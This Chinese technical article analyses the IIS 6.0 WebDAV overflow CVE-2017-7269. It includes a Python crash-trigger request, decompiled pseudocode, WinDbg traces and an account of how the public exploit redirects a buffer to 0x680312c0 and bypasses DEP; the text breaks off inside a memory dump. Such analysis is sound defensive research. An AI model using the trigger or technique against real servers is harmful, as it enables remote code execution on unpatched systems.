首页 > 安全 > 网络安全 >

深入分析NSA用了5年的IIS漏洞

2017-04-21

深入分析NSA用了5年的IIS漏洞。2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [ 1 ] 上公开了一份 IIS 6 0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

1. 漏洞简介1.1 漏洞简介

深入分析NSA用了5年的IIS漏洞。2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [ 1 ] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

该漏洞的编号为 CVE-2017-7269 [ 2 ],由恶意的 PROPFIND 请求所引起:当 If 字段包含形如 的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。

微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [ 3 ] 提供了一个临时的解决方案。

无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:

两个 Exploit 的结构基本一致; 都将 Payload 数据填充到地址 0x680312c0 ; 都基于 KiFastSystemCall / NtProtectVirtualMemory 绕过 DEP;

本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。

1.2 原理概述 CStackBuffer 既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据); 为 CStackBuffer 分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因; 因为栈上存在 cookie ,不能直接覆盖返回地址; 触发溢出时,改写 CStackBuffer 对象的内存,使之使用地址 0x680312c0 作为存储区; 将 Payload 数据填充到 0x680312c0 ; 程序存在另一处类似的漏洞,同理溢出后覆盖了栈上的一个指针使之指向 0x680313c0 ; 0x680313c0 将被当做一个对象的起始地址,调用虚函数时将接管控制权; 基于 SharedUserData 调用 KiFastSystemCall 绕过 DEP; URL 会从 UTF-8 转为 UNICODE 形式; Shellcode 使用 Alphanumeric 形式编码(UNICODE);2. 漏洞原理2.1 环境配置

在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。\

修改 Exploit 的目标地址,执行后可以看到 svchost.exe 启动 w3wp.exe 子进程,后者以 NETWORK SERVICE 的身份启动了 calc.exe 进程 。\

2.2 初步调试

首先,为进程 w3wp.exe 启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。

import socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sock.connect((&#39;192.168.75.134&#39;,80))  pay=&#39;PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n&#39;  pay+=&#39;If: <http: localhost="" aaaaaaa&#39;="" pay+="A" *10240="" sock.send(pay)

执行之后 IIS 服务器上会启动 w3wp.exe 进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:

在 httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出; 溢出的内容和大小看起来是可控的; 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配; 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的; 进程带有异常处理,因此不会崩溃;
$$ 捕获 First Chance 异常0:020> g  (e74.e80): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.  This exception may be expected and handled.  eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000  eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0         nv up ei pl nz na pe nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206  httpext!ScStoragePathFromUrl+0x360:  67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]0:006> r ecx  ecx=00000a060:006> db esi  0781a7e4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a7f4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a804  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a814  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a824  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a834  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a844  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.  0781a854  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.$$ 目标堆块分配调用栈0:006> !heap -p -a edi      address 07821000 found in    _DPH_HEAP_ROOT @ 7021000    in busy allocation (  DPH_HEAP_BLOCK:  UserAddr  UserSize - VirtAddr  VirtSize)                                 7023680:   781e7d8      2828 -  781e000      4000    7c83d97a ntdll!RtlAllocateHeap+0x00000e9f    5b7e1a40 staxmem!MpHeapAlloc+0x000000f3    5b7e1308 staxmem!ExchMHeapAlloc+0x00000015    67125df9 httpext!CHeap::Alloc+0x00000017    67125ee1 httpext!ExAlloc+0x00000008    67125462 httpext!HrCheckIfHeader+0x0000013c    6712561e httpext!HrCheckStateHeaders+0x00000010    6711f659 httpext!CPropFindRequest::Execute+0x000000f0    6711f7c5 httpext!DAVPropFind+0x00000047    $$ ......$$ 调用栈0:006> k  ChildEBP RetAddr  03fef798 67119469 httpext!ScStoragePathFromUrl+0x360  03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18  03fefc34 6712561e httpext!HrCheckIfHeader+0x15e  03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10  03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0  03fefc90 671296f2 httpext!DAVPropFind+0x47  $$ ......$$ 异常可以被处理,因此不会崩溃0:006> g  (e74.e80): C++ EH exception - code e06d7363 (first chance)

2.3 CStackBuffer

崩溃所在模块 httpext.dll 会多次使用一个名为 CStackBuffer 的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char ,因此省略了模板参数 typename T 。

CStackBuffer 的相关特性如下:

默认使用栈作为存储空间,大小由模板参数 SIZE 决定; 通过 resize 可以将堆设置为存储空间; 通过 fake_heap_size 的最低位标识存储空间的类型; 通过 release 释放存储空间; 对象的内存布局依次为:栈存储空间、堆块大小成员、存储空间指针;

CStackBuffer 的源码如下:

template  class CStackBuffer  {public:      CStackBuffer(unsigned int size)    {        fake_heap_size = 0;        heap_buffer = NULL;        resize(size);    }    unsigned char* resize(unsigned int size)    {        if (size <= SIZE)        {            size = SIZE;        }        if (fake_heap_size >> 2 < size)        {            if (fake_heap_size & 1 || size > SIZE)            {                release();                heap_buffer = (unsigned char*)malloc(size);                fake_heap_size |= 1;            }            else            {                heap_buffer = buffer;            }            fake_heap_size = (4 * size) | (fake_heap_size & 3);        }        fake_heap_size |= 2;        return heap_buffer;    }    void release()    {        if (fake_heap_size & 1)        {            free(heap_buffer);            heap_buffer = NULL;        }    }    unsigned char* get()    {        return heap_buffer;    }    unsigned int getFakeSize()    {        return fake_heap_size;    }private:      unsigned char buffer[SIZE];    unsigned int fake_heap_size;    unsigned char* heap_buffer;};
2.4 漏洞调试

根据之前的简单分析,可知 HrCheckIfHeader 是一个关键函数,因为:

目标堆块是在这个函数中动态分配的; 从这里可以执行到触发异常的函数 ScStoragePathFromUrl ;

函数 HrCheckIfHeader 简化后的伪代码如下所示:

int HrCheckIfHeader(CMethUtil *pMethUtil)  {    CStackBuffer<260> buffer1;    LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);    IFILTER ifilter(lpIfHeader);    LPWSTR lpToken = ifilter->PszNextToken(0);    while (1)    {        //         if (lpToken)        {            CStackBuffer<260> buffer2;            // http://xxxx>            LPWSTR lpHttpUrl = lpToken + 1;            size_t length = wcslen(lpHttpUrl);            if (!buffer2.resize(2*length + 2))            {                buffer2.release();                return 0x8007000E;            }            // 将 URL 规范化后存入 buffer2            // length = wcslen(lpHttpUrl) + 1            // eax = 0            int res = ScCanonicalizePrefixedURL(                lpHttpUrl, buffer2.get(), &length);            if (!res)            {                length = buffer1.getFakeSize() >> 3;                res = pMethUtil->ScStoragePathFromUrl(                    buffer2.get(), buffer1.get(), &length);                if (res == 1)                {                    if (buffer1.resize(length))                    {                        res = pMethUtil->ScStoragePathFromUrl(                            buffer2.get(), buffer1.get(), &length);                    }                }            }        }        // ......    }    // ......}

可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl ,该函数会将请求转发给 ScStoragePathFromUrl ,后者简化后的伪代码如下所示:

typedef struct _HSE_UNICODE_URL_MAPEX_INFO {      WCHAR lpszPath[MAX_PATH];    DWORD dwFlags;        // The physical path that the virtual root maps to    DWORD cchMatchingPath;// Number of characters in the physical path    DWORD cchMatchingURL; // Number of characters in the URL    DWORD dwReserved1;    DWORD dwReserved2;} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;int ScStoragePathFromUrl(      const struct IEcb *iecb,     const wchar_t *buffer2,     wchar_t *buffer1,     unsigned int *length,     struct CVRoot **a5){    wchar_t *Str = buffer2;    // 检查是否为 https://locahost:80/path http://localhost/path    // 返回 /path>    int result = iecb->ScStripAndCheckHttpPrefix(&Str);    if (result < 0 || *Str != &#39;/&#39;) return 0x80150101;    int v7 = wcslen(Str);    // c:\inetpub\wwwroot\path    // dwFlags          = 0x0201    // cchMatchingPath  = 0x12    // cchMatchingURL   = 0x00    // result = 0    HSE_UNICODE_URL_MAPEX_INFO mapinfo;    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);    int v36 = result;    if (result < 0) return result;    // L"\x00c:\inetpub\wwwroot"    // n == 0    wchar_t *Str1 = NULL;    int n = iecb->CchGetVirtualRootW(&Str1);    if (n == mapinfo.cchMatchingURL)    {        if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))        {            goto LABEL_14;        }    }    else if (n + 1 == mapinfo.cchMatchingURL)    {        if (Str[n] == &#39;/&#39; || Str[n] == 0)        {            --mapinfo.cchMatchingURL;            goto LABEL_14;        }    }    v36 = 0x1507F7;LABEL_14:      if (v36 == 0x1507F7 && a5)      // a5 == 0    {        // ......    }    // 0x12    int v16 = mapinfo.cchMatchingPath;    if (mapinfo.cchMatchingPath)    {        // v17 = L"t\aaaaaaaAAA...."        wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;        if (*v17 == &#39;\\&#39;)        {            // ......        }        else if (!*v17)        {            // ......        }    }    // v7 = wcslen(/path>)    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;    int v19 = *length < v18;    if (v19)    {        *length = v18;        if (a5)         {            // ......        }        result = 1;    }    else     {        int v24 = (2*mapinfo.cchMatchingPath >> 2);        qmemcpy(            buffer1,             mapinfo.lpszPath,             4 * v24);        LOBYTE(v24) = 2*mapinfo.cchMatchingPath;        qmemcpy(            &buffer1[2 * v24],            (char*)mapinfo.lpszPath + 4 * v24,            v24 & 3);        qmemcpy(            &buffer1[mapinfo.cchMatchingPath],            &Str[mapinfo.cchMatchingURL],            2 * (v7 - mapinfo.cchMatchingURL) + 2);        for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)        {            if (*p == &#39;/&#39;) *p = &#39;\\&#39;;        }        *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;        result = v36;    }    return result;}

函数 HrCheckIfHeader 会调用 ScStoragePathFromUrl 两次,在第一次调用 ScStoragePathFromUrl 时,会执行如下的关键代码:

{    wchar_t *Str = buffer2;    // 返回 /path>    int result = iecb->ScStripAndCheckHttpPrefix(&Str);    int v7 = wcslen(Str);    HSE_UNICODE_URL_MAPEX_INFO mapinfo;    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);    // 0x12   L"c:\inetpub\wwwroot"    int v16 = mapinfo.cchMatchingPath;    //  v18 = 0x12 - 0 + wcslen(&#39;/path>&#39;) + 1 = 0x12 + 10249 + 1 = 0x281c    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;    int v19 = *length < v18;    if (v19)    {        *length = v18;        if (a5)         {            // ......        }        result = 1;    }    return result;}

这里得到 v18 的值为 0x281c ,而 *length 的值由参数传递,实际由 CStackBuffer::resize 计算得到,最终的值为 0x82 ,计算公式为:

fake_heap_size = 0;  size = 260;  fake_heap_size = (4 * size) | (fake_heap_size & 3);  fake_heap_size |= 2;length = fake_heap_size >> 3;

显然有 0x82 < 0x281c ,所以函数 ScStoragePathFromUrl 将 *length 填充为 0x281c 并返回 1 。实际上,这个值代表的是真实物理路径的 字符个数 。

0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 (&#39;>&#39;) + 1 (&#39;\0&#39;)

在 HrCheckIfHeader 第二次调用 ScStoragePathFromUrl 之前,将根据 length 的值设置 CStackBuffer 缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用ScStoragePathFromUrl 时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c ,也就是堆溢出发生时通过 !heap -p -a edi 命令得到的栈帧。

res = pMethUtil->ScStoragePathFromUrl(      buffer2.get(), buffer1.get(), &length);if (res == 1)  {    if (buffer1.resize(length))    // httpext!HrCheckIfHeader+0x0000013c    {        res = pMethUtil->ScStoragePathFromUrl(            buffer2.get(), buffer1.get(), &length);    }}

小结:

函数 ScStoragePathFromUrl 负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想; 第一次调用此函数时,由于缓冲区大小不够,返回实际物理路径的字符个数; 第二次调用此函数之前先调整缓冲区的大小; 由于缓冲区的大小设置成了字符个数,而不是字节数,因此导致缓冲区溢出; 两次调用同一个 API 很符合微软的风格(第一次得到所需的空间大小,调整缓冲区大小后再次调用);3. 漏洞利用3.1 URL 解码

在函数 HrCheckIfHeader 中,首先调用 CRequest::LpwszGetHeader 来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:

int CRequest::LpwszGetHeader(const char *tag, int a3)  {    // 查找缓存    int res = CHeaderCache::LpszGetHeader(        (char *)this + 56, tag);    if (res) return res;    // 获取值    char *pszHeader = this->LpszGetHeader(tag);    if (!pszHeader) return 0;    int nHeaderChars = strlen(pszHeader);    CStackBuffer stackbuffer(64);    if (!stackbuffer.resize(2 * nHeaderChars + 2))    {        // _CxxThrowException(...);    }    // 调用 ScConvertToWide 进行转换    int v11 = nHeaderChars + 1;    char* language = this->LpszGetHeader("Accept-Language");    int v7 = ScConvertToWide(pszHeader, &v11,                              stackbuffer.get(), language, a3);    if ( v7 ) // _CxxThrowException(...);    // 设置缓存    res = CHeaderCache::SetHeader(            tag, stackbuffer.get(), 0);    stackbuffer.release();    return res;}

可以看出这里通过 CHeaderCache 建立缓存机制,此外获取到的值会通过调用 ScConvertToWide 来进行转换操作。事实上, ScConvertToWide 会调用 MultiByteToWideChar 对字符串进行转换。

MultiByteToWideChar(      CP_UTF8,     0,     pszHeader,     strlen(pszHeader) + 1,     lpWideCharStr,     strlen(pszHeader) + 1);

由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:

0:007> p  eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6  eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  httpext!ScConvertToWide+0x150:  6712721f ffd7            call    edi {kernel32!MultiByteToWideChar (77e62fd6)}$$ 调用 MultiByteToWideChar 时的参数0:007> dds esp L6  03fef5b0  0000fde9       $$ CP_UTF8  03fef5b4  00000000       $$ 0  03fef5b8  077f59a8       $$ pszHeader  03fef5bc  00000655       $$ strlen(pszHeader) + 1  03fef5c0  077f3350       $$ lpWideCharStr  03fef5c4  00000655       $$ strlen(pszHeader) + 1$$ 转换前的字符串0:007> db 077f59a8  077f59a8  3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73   p  eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6  eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  httpext!ScConvertToWide+0x152:  67127221 85c0            test    eax,eax$$ 转换后的字符串0:007> db 077f3350  077f3350  3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00  <.h.t.t.p.:././.  077f3360  6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00  l.o.c.a.l.h.o.s.  077f3370  74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00  t./.a.a.a.a.a.a.  077f3380  61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a  a.hocxaw3q6irG9z  077f3390  77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68  wKpOSuOzhHcVTmEh  077f33a0  53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69  S9lPgUcgd30FExRi  077f33b0  31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36  1TXLQjAr1B5pPXd6  077f33c0  47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32  Gl95jT4PCTRwaP22

3.2 栈溢出

根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer 使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。

当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie 。

.text:671255F5                 mov     large fs:0, ecx.text:671255FC                 mov     ecx, [ebp+var_10].text:671255FF                 pop     ebx.text:67125600                 call    @__security_check_cookie@4.text:67125605                 leave.text:67125606                 retn    8.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp

在函数 HrCheckIfHeader 中存在两个 CStackBuffer 实例:

char c_stack_buffer_1;            // [sp+44h] [bp-430h]@1  unsigned int v29;                 // [sp+148h] [bp-32Ch]@9  wchar_t *stack_buffer1;           // [sp+14Ch] [bp-328h]@9  char c_stack_buffer_2;            // [sp+150h] [bp-324h]@7  unsigned __int16 *stack_buffer2;  // [sp+258h] [bp-21Ch]@8

基于前面对 CStackBuffer 内存布局的分析,可以知道这里栈空间的分布为:

┌─────────────────────────┐│            2.heap_buffer│  ebp-21C├─────────────────────────┤│         2.fake_heap_size│  ebp-220├─────────────────────────┤│CStackBuffer2.buffer[260]│  ebp-324├─────────────────────────┤│            1.heap_buffer│  ebp-328├─────────────────────────┤│         1.fake_heap_size│  ebp-32C├─────────────────────────┤│CStackBuffer1.buffer[260]│  ebp-430└─────────────────────────┘

下面要重点分析的代码片段为:

res = pMethUtil->ScStoragePathFromUrl(      buffer2.get(), buffer1.get(), &length);     // (1)if (res == 1)  {    if (buffer1.resize(length))                 // (2)    {        res = pMethUtil->ScStoragePathFromUrl(  // (3)            buffer2.get(), buffer1.get(), &length);    }}

(1) HrCheckIfHeader 第一次调用 ScStoragePathFromUrl 时传递的参数分析如下(函数返回值为 1 ,长度设置为 0xaa ):

0:006> dds esp L3  03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....  03faf7b8  03faf804      $$ CStackBuffer1.buffer  03faf7bc  03faf800      $$ 000000820:006> dd 03faf800 L1  03faf800  0:006> db 077d8eb0  077d8eb0  68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00  h.t.t.p.:././.l.  077d8ec0  6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00  o.c.a.l.h.o.s.t.  077d8ed0  2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00  /.a.a.a.a.a.a.a.  077d8ee0  68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b  hocxaw3q6irG9zwK  077d8ef0  70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39  pOSuOzhHcVTmEhS9  077d8f00  6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54  lPgUcgd30FExRi1T  077d8f10  58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c  XLQjAr1B5pPXd6Gl  077d8f20  39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d  95jT4PCTRwaP22Km  077d8f30  34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52  4lG2AbM7aQbXsGPR  077d8f40  70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e  p6Dujht3JNkxvIsN  077d8f50  6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52  jLzWqoJX02n7IKMR  077d8f60  63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50  cHLoVuuuofhvMDpP  077d8f70  36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76  6zKbWePurjkzbwXv  077d8f80  48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35  Hb1eT0ylJPbT3Pw5  077d8f90  77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65  wjDA43vdFMTVlGCe  077d8fa0  32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54  2vxriW8Crb0Z8YHT  077d8fb0  02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c  .......hDlVR7Kml  077d8fc0  58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66  XOZXPyjIOXRJPAMf  077d8fd0  c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43  ...h4H1eCofnAtlC  077d8fe0  c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42  ...hCSAjRp03fXLB  077d8ff0  4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00  KpFcsQAyPzlJ>...  077d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

(2)因为 ScStoragePathFromUrl 返回 0xaa ,所以 buffer1.resize(0xaa) 并不会在堆上分配空间,而是直接使用栈上的 buffer 。

(3)第二次调用 ScStoragePathFromUrl 时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size 被改写为 0x02020202 、 CStackBuffer1.heap_buffer 被改写为 0x680312c0 。

0:006> dds esp L3  03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....  03faf7b8  03faf804      $$ CStackBuffer1.buffer  03faf7bc  03faf800      $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2$$ 留意最后面 2 个 DWORD 的值0:006> db ebp-430 L10C  03faf804  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................  03faf814  c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03  .YU.........`...  03faf824  fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c  .....d......p..|  03faf834  a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00  .n.|.....n.|....  03faf844  01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00  ........#..|....  03faf854  c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a  ..{..........]..  03faf864  6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00  l......`...`....  03faf874  9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00  ...`4...3.......  03faf884  8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00  ...`R#.`".......  03faf894  00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00  ................  03faf8a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................  03faf8b4  f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00  .g.w............  03faf8c4  00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77  ........ ...J..w  03faf8d4  85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77  ....O...[ .g\..w  03faf8e4  5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67  [ .g.r.wO...[ .g  03faf8f4  13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07  ....X........d..  03faf904  c0 17 bf 77 12 04 00 00-04 f8 fa 03              ...w........                        ^^^^^^^^^^^ ~~~~~~~~~~~0:006> p  eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2  eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  httpext!HrCheckIfHeader+0x15e:  67125484 8bf0            mov     esi,eax$$ 留意最后面 2 个 DWORD 的值0:006> db ebp-430 L10C  03faf804  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.  03faf814  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.  03faf824  6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00  o.t.\.a.a.a.a.a.  03faf834  61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47  a.a.hocxaw3q6irG  03faf844  39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d  9zwKpOSuOzhHcVTm  03faf854  45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78  EhS9lPgUcgd30FEx  03faf864  52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58  Ri1TXLQjAr1B5pPX  03faf874  64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50  d6Gl95jT4PCTRwaP  03faf884  32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58  22Km4lG2AbM7aQbX  03faf894  73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78  sGPRp6Dujht3JNkx  03faf8a4  76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37  vIsNjLzWqoJX02n7  03faf8b4  49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76  IKMRcHLoVuuuofhv  03faf8c4  4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a  MDpP6zKbWePurjkz  03faf8d4  62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54  bwXvHb1eT0ylJPbT  03faf8e4  33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56  3Pw5wjDA43vdFMTV  03faf8f4  6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a  lGCe2vxriW8Crb0Z  03faf904  38 59 48 54 02 02 02 02-c0 12 03 68              8YHT.......h                        ^^^^^^^^^^^ ~~~~~~~~~~~

{C}3.3 填充数据

通过 !address 命令可知地址 0x680312c0 位于 rsaenh 模块中,具备 PAGE_READWRITE 属性。

0:006> !address 680312c0  Failed to map Heaps (error 80004005)  Usage:                  Image  Allocation Base:        68000000  Base Address:           68030000  End Address:            68032000  Region Size:            00002000  Type:                   01000000    MEM_IMAGE  State:                  00001000    MEM_COMMIT  Protect:                00000004    PAGE_READWRITE  More info:              lmv m rsaenh  More info:              !lmi rsaenh  More info:              ln 0x680312c00:006> u 680312c0 L1  rsaenh!g_pfnFree+0x4:  680312c0 0000            add     byte ptr [eax],al

在解析 http://localhost/bbbbbbb...... 时,数据将被直接填充到地址 0x680312c0 。此时,由于 CStackBuffer1 的长度已经 足够大 , ScStoragePathFromUrl 只会被调用一次。

$$ ScStoragePathFromUrl 参数0:006> dds esp L3  03faf7b4  077dc9e0  03faf7b8  680312c0 rsaenh!g_pfnFree+0x4  03faf7bc  03faf8000:006> dd 03faf800 L1  03faf800  004040400:006> p  eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2  eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  httpext!HrCheckIfHeader+0x124:  6712544a 8bf0            mov     esi,eax$$ 填充数据到 0x680312c00:006> db 680312c0  680312c0  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.  680312d0  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.  680312e0  6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00  o.t.\.b.b.b.b.b.  680312f0  62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48  b.b.HyuaCOgookEH  68031300  46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56  F6ug3Dq8eWbZ5TaV  68031310  52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43  RiSjWQN8HYUcqIdC  68031320  72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50  rdh4XGyqk3UkHmOP  68031330  46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34  Fzq4ToCtVYooAsW4  0:006> db  68031340  68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36  harzE7IMNWHT8Lz6  68031350  72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61  r5fbCnmHH5waZMta  68031360  33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63  3AeCrRimq6dN9nSc  68031370  64 6b 46 51 30 4f 